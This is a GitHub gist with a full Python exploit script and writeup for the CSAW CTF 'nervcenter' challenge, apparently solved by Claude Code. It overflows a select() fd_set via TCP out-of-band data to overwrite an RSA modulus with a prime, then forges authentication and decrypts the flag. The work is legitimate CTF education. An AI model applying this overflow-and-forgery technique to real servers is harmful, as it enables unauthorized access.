Skip to content

Instantly share code, notes, and snippets.

@moyix
Created March 10, 2026 18:24
Show Gist options
  • Select an option

  • Save moyix/e655ab112044244ffc903a8f000a5394 to your computer and use it in GitHub Desktop.

Select an option

Save moyix/e655ab112044244ffc903a8f000a5394 to your computer and use it in GitHub Desktop.
Claude Code + Opus 4.6 (max effort) Solution for CSAW CTF 2023 Finals Challenge nervcenter
#!/usr/bin/env python3
"""NERV Center CTF Exploit — fd_set overflow into RSA key."""
import socket, time, base64, struct, hashlib, random
from math import gcd
HOST = '127.0.0.1'
PORT = 2000
TARGET_CONNS = 1077 # fds 11..1087, leaves ~8 spare for fopen etc.
def recv_until(s, marker, timeout=30):
s.settimeout(timeout)
data = b''
try:
while marker not in data:
chunk = s.recv(4096)
if not chunk: break
data += chunk
except socket.timeout: pass
return data
def recv_all(s, timeout=5):
s.settimeout(timeout)
data = b''
try:
while True:
chunk = s.recv(8192)
if not chunk: break
data += chunk
except socket.timeout: pass
return data
def parse_ssh_key(text):
for line in text.split('\n'):
if line.strip().startswith('ssh-rsa'):
parts = line.strip().split()
kd = base64.b64decode(parts[1])
off = 0
tl = struct.unpack('>I', kd[off:off+4])[0]; off += 4+tl
el = struct.unpack('>I', kd[off:off+4])[0]; off += 4+el
nl = struct.unpack('>I', kd[off:off+4])[0]
nb = kd[off+4:off+4+nl]
return int.from_bytes(nb, 'big')
return None
def modinv(a, m):
if gcd(a, m) != 1: return None
def egcd(a, b):
if a == 0: return b, 0, 1
g, x, y = egcd(b % a, a)
return g, y - (b//a)*x, x
_, x, _ = egcd(a % m, m)
return x % m
def is_prime(n, k=25):
if n < 4: return n >= 2
if n % 2 == 0: return False
for p in [3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97]:
if n == p: return True
if n % p == 0: return False
r, d = 0, n-1
while d % 2 == 0: r += 1; d //= 2
rng = random.Random(42)
for _ in range(k):
a = rng.randrange(2, n-1)
x = pow(a, d, n)
if x == 1 or x == n-1: continue
for _ in range(r-1):
x = pow(x, 2, n)
if x == n-1: break
else: return False
return True
def find_prime_top64(bottom_960):
# N' = top64 * 2^960 + bottom_960. Need: byte0 of key != 0, N' odd (guaranteed since bottom_960 is odd)
# byte0 of key = bits 0-7 of top64 (little-endian word). So top64 & 0xFF must be nonzero.
print("[*] Searching for prime N'...")
c = 0x0100000000000001 # key_top64 >= 2^56 ensures MSB byte at 0x270 is nonzero
count = 0
while True:
n = c * (1 << 960) + bottom_960
count += 1
if count % 200 == 0: print(f" Tested {count}...")
if is_prime(n):
print(f"[+] Found prime after {count} tries! top64=0x{c:016x}")
return c, n
c += 2 # Keep byte0 bit pattern stable, just increment
if (c >> 56) & 0xFF == 0: c = ((c >> 56) + 1) << 56 | (c & 0xFF) # Ensure MSB nonzero
def top64_to_fds(top64):
fds = set()
b = top64.to_bytes(8, 'big')
for i in range(8):
for j in range(8):
if b[i] & (1 << j): fds.add(1024 + i*8 + j)
return fds
def pkcs1_sign(digest, d, n, ksize=128):
di = bytes.fromhex('3031300d060960864801650304020105000420') + digest
pad = b'\x00\x01' + b'\xff' * (ksize - 3 - len(di)) + b'\x00' + di
m = int.from_bytes(pad, 'big')
s = pow(m, d, n)
return s.to_bytes(ksize, 'big')
def decrypt_flag(text, d, n):
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
lines = []
cap = False
for line in text.split('\n'):
if 'BEGIN NERV' in line: cap = True; continue
if 'END NERV' in line: break
if cap: lines.append(line.strip())
raw = base64.b64decode(''.join(lines))
ct_len = struct.unpack('<Q', raw[:8])[0]
ct = raw[8:8+ct_len]
tag = raw[8+ct_len:8+ct_len+16]
iv = raw[8+ct_len+16:8+ct_len+16+12]
rsa_ct = raw[8+ct_len+16+12:]
# RSA decrypt (OAEP SHA-1)
c = int.from_bytes(rsa_ct, 'big')
m = pow(c, d, n)
ks = (n.bit_length()+7)//8
pad = m.to_bytes(ks, 'big')
hL = 20
def mgf1(s, l):
o = b''
for i in range((l+19)//20): o += hashlib.sha1(s + i.to_bytes(4,'big')).digest()
return o[:l]
mS = pad[1:1+hL]; mDB = pad[1+hL:]
seed = bytes(a^b for a,b in zip(mS, mgf1(mDB, hL)))
DB = bytes(a^b for a,b in zip(mDB, mgf1(seed, len(mDB))))
i = hL
while i < len(DB) and DB[i] == 0: i += 1
if i >= len(DB) or DB[i] != 1: return None
aes_key = DB[i+1:]
return AESGCM(aes_key).decrypt(iv, ct + tag, None)
def main():
print("=" * 50)
print("NERV Center Exploit")
print("=" * 50)
# 1. Connect
ctrl = socket.socket(); ctrl.connect((HOST, PORT))
banner = recv_until(ctrl, b'choice:')
sport = None
for l in banner.decode(errors='replace').split('\n'):
if 'sensor port' in l.lower(): sport = int(l.strip().split(':')[-1].strip())
print(f"[1] Connected. Sensor port: {sport}")
# 2. Get original key
ctrl.sendall(b'2\n')
n_orig = parse_ssh_key(recv_until(ctrl, b'choice:').decode(errors='replace'))
bottom = n_orig & ((1<<960)-1)
print(f"[2] Key: {n_orig.bit_length()} bits, top64=0x{(n_orig>>960):016x}")
# 3. Open sensor connections
print(f"[3] Opening {TARGET_CONNS} sensor connections...")
conns = []; fd_map = {}
for i in range(TARGET_CONNS):
try:
s = socket.socket(); s.settimeout(5)
s.connect((HOST, sport))
w = b''
try:
s.settimeout(2)
while b'>' not in w: w += s.recv(4096)
except: pass
fd = None
for l in w.decode(errors='replace').split('\n'):
if 'sensor ID' in l:
try: fd = int(l.strip().split()[-1].rstrip('.'))
except: pass
conns.append((s, fd))
if fd and fd >= 1024: fd_map[fd] = s
if (i+1) % 200 == 0:
mfd = max((f for _,f in conns if f), default=0)
print(f" {i+1} conns, max_fd={mfd}, overflow={len(fd_map)}")
time.sleep(0.3)
else: time.sleep(0.01)
except Exception as e:
print(f" Failed at {i+1}: {e}"); break
ovf = sorted(fd_map.keys())
print(f" Done: {len(conns)} conns, {len(ovf)} overflow fds", end="")
if ovf: print(f" ({ovf[0]}-{ovf[-1]})")
else: print(); print("[!] No overflow fds!"); return
# 4. Find prime N'
print("[4] Finding prime...")
top64, n_prime = find_prime_top64(bottom)
needed = top64_to_fds(top64)
missing = needed - set(ovf)
if missing:
print(f"[!] Missing fds: {missing}. Need more connections."); return
d = modinv(65537, n_prime - 1)
print(f" N'={n_prime.bit_length()} bits, d={'OK' if d else 'FAIL'}")
# 5. Free server-side fds FIRST, then send OOB, then halt
# Send QUIT on low-fd connections while sensor thread is still running
freed = 0
for s, fd in conns:
if fd and fd < 1024 and freed < 15:
try:
s.sendall(b'QUIT\n')
freed += 1
except: pass
print(f"[5] Sent QUIT on {freed} low-fd connections, waiting...")
time.sleep(3) # Wait for server to process QUITs and close fds
# Now send OOB on the needed high fds
print(f" OOB on {len(needed)} fds: {sorted(needed)}")
for fd in needed:
try: fd_map[fd].send(b'X', socket.MSG_OOB)
except Exception as e: print(f" OOB fail fd {fd}: {e}")
time.sleep(2) # Wait for select() to pick up OOB
# 6. Halt sensors (freezes key with OOB bits set)
print("[6] Halting sensors...")
ctrl.sendall(b'3\n')
recv_until(ctrl, b'choice:')
# 7. Verify key
ctrl.sendall(b'2\n')
n_mod = parse_ssh_key(recv_until(ctrl, b'choice:').decode(errors='replace'))
got = n_mod >> 960 if n_mod else 0
print(f"[7] Key top64: got=0x{got:016x} want=0x{top64:016x} {'OK' if got==top64 else 'MISMATCH'}")
if got != top64:
print("[!] Key mismatch, aborting"); return
sign_n, sign_d = n_prime, d
# 8. Authenticate
print("[8] Authenticating...")
ctrl.sendall(b'1\n')
data = recv_until(ctrl, b'Response:')
ch = None
for l in data.decode(errors='replace').split('\n'):
if 'Challenge:' in l: ch = l.split('Challenge:')[1].strip()
if not ch: print("[!] No challenge"); return
# RSA_verify treats challenge bytes as the digest directly (NOT hashed again)
sig = pkcs1_sign(bytes.fromhex(ch), sign_d, sign_n, (sign_n.bit_length()+7)//8)
ctrl.sendall(sig.hex().encode() + b'\n')
# Read auth result + authenticated menu
time.sleep(2)
resp = recv_all(ctrl, timeout=10)
txt = resp.decode(errors='replace')
if 'successful' not in txt.lower():
print("[!] Auth failed"); print(txt[:300]); return
print(" AUTH SUCCESS!")
# 9. Get flag
print("[9] Requesting flag...")
ctrl.sendall(b'1\n')
resp = b''
ctrl.settimeout(180)
try:
while b'END NERV' not in resp:
chunk = ctrl.recv(8192)
if not chunk: break
resp += chunk
except socket.timeout:
print(f" Timeout ({len(resp)} bytes received)")
txt = resp.decode(errors='replace')
if 'BEGIN NERV' in txt:
print(" Got encrypted flag!")
try:
flag = decrypt_flag(txt, sign_d, sign_n)
print(f"\n{'='*50}")
print(f"FLAG: {flag.decode(errors='replace')}")
print(f"{'='*50}")
except Exception as e:
print(f"[!] Decrypt error: {e}")
import traceback; traceback.print_exc()
elif 'fopen' in txt.lower() or 'open file' in txt.lower():
print("[!] Server can't open flag.txt (too many open files?)")
print(txt[:300])
else:
print(f" Got {len(resp)} bytes, no encrypted message found")
print(txt[:500])
for s,_ in conns:
try: s.close()
except: pass
ctrl.close()
if __name__ == '__main__':
main()

NERV Center — CTF Writeup

Category: Crypto / Pwn Author: Brendan Dolan-Gavitt (moyix) Description: Get into the server, Shinji. Or Rei will have to do it again.

Overview

NERV Center is a stripped x86-64 Linux binary that implements an Evangelion-themed server with RSA-based authentication. The server generates a 1024-bit RSA key on each connection, and the flag is only accessible after authenticating by signing a random challenge. The flag is then sent encrypted with AES-256-GCM, with the AES key RSA-encrypted using the session's public key.

The intended exploit chain is:

  1. Pwn: Overflow the fd_set used in select() to gain write control over the stored RSA public key modulus
  2. Crypto: Choose the overwritten key bits to make the modulus prime, allowing trivial private key computation

Reverse Engineering

Server Architecture

The binary is a forking TCP server (default port 2000). On each control connection it:

  • Forks a child process
  • Generates a fresh 1024-bit RSA keypair (RSA_generate_key_ex)
  • Stores the 128-byte modulus at offset 0x270 in a session struct (calloc(1, 0x2f0))
  • Opens a sensor port (starting at 2001) that accepts many simultaneous connections via select()
  • Presents a menu: Authenticate, Print public key, Halt/Resume sensors, MAGI status, Help, Exit

Authentication requires signing a 32-byte random challenge with RSA-SHA256 (PKCS#1 v1.5). Upon success, an authenticated menu offers "Send flag," which encrypts flag.txt with AES-256-GCM and RSA-encrypts the AES key with the session's public modulus.

Session Struct Layout

Offset  Size   Field
0x000   4      Sensor listen socket fd
0x004   4      Control connection fd
0x008   4      Auth status (0=unpriv, 1=admin)
0x010   8      Max open files
0x018   8      Connection array pointer
0x028   40     Mutex (pause)
0x050   48     Condition variable
0x080   48     Condition variable
0x0B0   4+4    Sensor state + ack flag
0x0B8   40     Mutex (fd_set protection)
0x0E0   128    read fd_set
0x168   128    write fd_set
0x1F0   128    except fd_set    <-- overflow source
0x270   128    RSA modulus N    <-- overflow target

The select() Loop

The sensor thread runs a tight loop:

while (1) {
    usleep(100);
    lock(fd_set_mutex);
    // Clear fd_sets (indices 0-15 only = 128 bytes each)
    // FD_SET for listen socket and ALL connected sensor fds
    select(max_fd + 1, &read_fds, &write_fds, &except_fds, &timeout);
    unlock(fd_set_mutex);
    // ... process results
}

The file descriptor limit is set to 1088 (setrlimit(RLIMIT_NOFILE, 1088)), so fds can range from 0 to 1087. The sensor connection array also holds up to 1088 entries.

Vulnerability: fd_set Overflow

On Linux x86-64, fd_set is 128 bytes (1024 bits), supporting fds 0–1023. When the code does FD_SET(fd, &except_fds) for fd >= 1024, it writes beyond the 128-byte fd_set boundary:

except fd_set:  0x1F0 — 0x26F  (fds 0-1023, cleared each cycle)
RSA modulus:    0x270 — 0x2EF  (fds 1024-2047 map here)

For fd 1024: fds_bits[16] is at offset 0x1F0 + 128 = 0x270 — the first byte of the RSA modulus.

Fds 1024–1087 map to the first 8 bytes (64 bits) of the 128-byte modulus. The clearing loop only covers indices 0–15 (the legitimate fd_set range), so the overflow area at 0x270+ is not cleared by the application code.

However, select() itself is called with nfds = max_fd + 1 > 1024, so the kernel reads and writes the overflow area too. After select() returns:

  • Bits for fds with exceptions (TCP OOB data) → set to 1
  • Bits for fds without exceptions → set to 0

This gives us precise write control over the top 64 bits of the RSA modulus.

Exploitation

Step 1: Exhaust File Descriptors

Open ~1077 TCP connections to the sensor port. The first sensor connection gets fd 11 (fds 0–10 are used by stdio, Rosetta, listen socket, and control connection). The last gets fd 1087, producing 64 overflow fds (1024–1087).

for i in range(1077):
    s = socket.socket()
    s.connect((host, sensor_port))
    # Parse "This is sensor ID <fd>." from welcome message

Step 2: Free Server-Side File Descriptors

All 1088 fds are now in use. The flag handler needs fopen("flag.txt") which requires a spare fd. Send QUIT commands on ~15 low-numbered sensor connections while the sensor thread is still running — this causes the server to close() those fds.

for s, fd in conns:
    if fd < 1024 and freed < 15:
        s.sendall(b'QUIT\n')

Step 3: Choose a Prime Modulus

Read the current public key (menu option 2) to learn the original modulus N. Extract the bottom 960 bits:

bottom_960 = N & ((1 << 960) - 1)

Search for a 64-bit value top64 such that N' = top64 * 2^960 + bottom_960 is prime. Constraints:

  • (top64 >> 56) & 0xFF != 0 — the first key byte must be nonzero (server validation)
  • N' must be odd — guaranteed since the original N is odd (product of two odd primes)

By the prime number theorem, roughly 1 in 710 candidates is prime. Starting from 0x0100000000000001 and stepping by 2, a prime is typically found within a few hundred iterations.

c = 0x0100000000000001
while True:
    n_prime = c * (1 << 960) + bottom_960
    if is_probable_prime(n_prime):  # Miller-Rabin
        break
    c += 2

Step 4: Set Key Bits via TCP OOB Data

Convert top64 to the set of fds that need OOB data. The key is stored big-endian at address 0x270, but the fd_set word is little-endian:

key_bytes = top64.to_bytes(8, 'big')  # [MSB, ..., LSB]
for byte_idx in range(8):
    for bit in range(8):
        if key_bytes[byte_idx] & (1 << bit):
            oob_fds.add(1024 + byte_idx * 8 + bit)

Send a single OOB byte on each needed connection:

for fd in oob_fds:
    fd_to_socket[fd].send(b'X', socket.MSG_OOB)

After the next select() cycle, the kernel sets exception bits for fds with OOB data and clears the rest. The modulus at 0x270 now contains our chosen top64 in its first 8 bytes.

Note: Docker's port forwarding strips TCP OOB data. The exploit must run inside the container or on the same host.

Step 5: Freeze the Key

The key oscillates between two states each select() cycle:

  • During FD_SET: all 64 overflow bits set (all sensor fds are connected)
  • After select(): only OOB exception bits set (our desired value)

Use menu option 3 ("Issue sensor system halt") to pause the sensor thread. It halts after completing the current select() cycle, freezing the key in the correct post-select state. Verify by printing the public key:

ctrl.sendall(b'3\n')  # Halt sensors
# ... then print key to verify

Step 6: Authenticate

Since N' is prime, compute the private exponent directly:

d = pow(65537, -1, n_prime - 1)  # φ(p) = p-1 for prime p

The server's RSA_verify(NID_sha256, challenge, 32, sig, siglen, rsa) passes the raw challenge bytes as the digest (it does not hash them again). Create a PKCS#1 v1.5 signature:

digest_info = DER_SHA256_PREFIX + challenge_bytes  # NOT sha256(challenge)!
padded = b'\x00\x01' + b'\xff' * pad_len + b'\x00' + digest_info
signature = pow(int.from_bytes(padded, 'big'), d, n_prime)

Step 7: Decrypt the Flag

Request "Send flag" from the authenticated menu. The server encrypts with AES-256-GCM and RSA-OAEP:

Format: [64-bit ciphertext_len][ciphertext][16-byte GCM tag][12-byte IV][RSA(aes_key)]

Decrypt the RSA-OAEP layer (SHA-1 MGF1) to recover the 32-byte AES key, then decrypt the ciphertext:

aes_key_padded = pow(rsa_ciphertext, d, n_prime)
aes_key = oaep_unpad(aes_key_padded)
flag = AES_GCM_decrypt(key=aes_key, iv=iv, ciphertext=ct, tag=tag)

Key Insights

  1. fd_set is a fixed-size bitmap. Using select() with fds >= FD_SETSIZE (1024) causes out-of-bounds memory access. The binary raises the fd limit to 1088 but doesn't use poll()/epoll().

  2. select() writes back results, zeroing bits for non-ready fds. This turns the overflow from a simple "set bits" primitive into precise byte-level write control via TCP OOB exceptions.

  3. A prime modulus breaks RSA. Normal RSA has N = p·q with secret factorization. If N is prime, φ(N) = N−1 is trivially computable, yielding the private key immediately.

  4. The sensor halt freezes the key. Without halting, the key oscillates every millisecond between "all bits set" (during FD_SET) and "OOB bits only" (after select). Halting the sensor thread after a select cycle captures the desired state.

  5. File descriptor exhaustion. Opening enough connections to reach fd 1087 uses all 1088 allowed fds. The flag handler's fopen() then fails with EMFILE. Sending QUIT on low-numbered connections before halting frees server-side fds for file operations.

Solve Script

See exploit.py.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment